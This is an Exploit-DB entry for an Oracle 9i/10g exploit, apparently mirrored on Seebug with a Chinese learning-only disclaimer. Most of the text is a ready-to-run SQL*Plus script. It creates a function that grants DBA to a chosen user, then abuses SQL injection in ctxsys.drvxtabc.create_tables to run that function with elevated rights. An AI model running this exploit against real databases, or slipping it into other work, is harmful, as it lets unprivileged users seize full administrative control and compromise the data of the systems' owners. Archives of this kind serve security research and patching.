############################### # EDB-ID: 10267 # CVE-ID: () # Title: Oracle ctxsys.drvxtabc.create_tables Exploit # Author: Andrea "bunker" Purificato # Published: 2009-12-01 # Download Exploit Code # Download N/A ############################### -- -- ctxsys.drvxtabc.create_tables -- -- -- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g) -- -- Grant dba permission to unprivileged user -- -- -- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables -- -- AUTHOR: Andrea "bunker" Purificato -- http://rawlab.mindcreations.com -- -- set serveroutput on; prompt [+] ctxsys-drvxtabc-create_tables.sql exploit prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 prompt undefine the_user; accept the_user char prompt 'Target username (default TEST): ' default 'TEST'; prompt prompt [-] Building evil function... CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT; RETURN(0); END; / prompt [-] Finishing... exec ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where '||USER||'.own=0--','x',2); prompt [-] YOU GOT THE POWAH!!
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论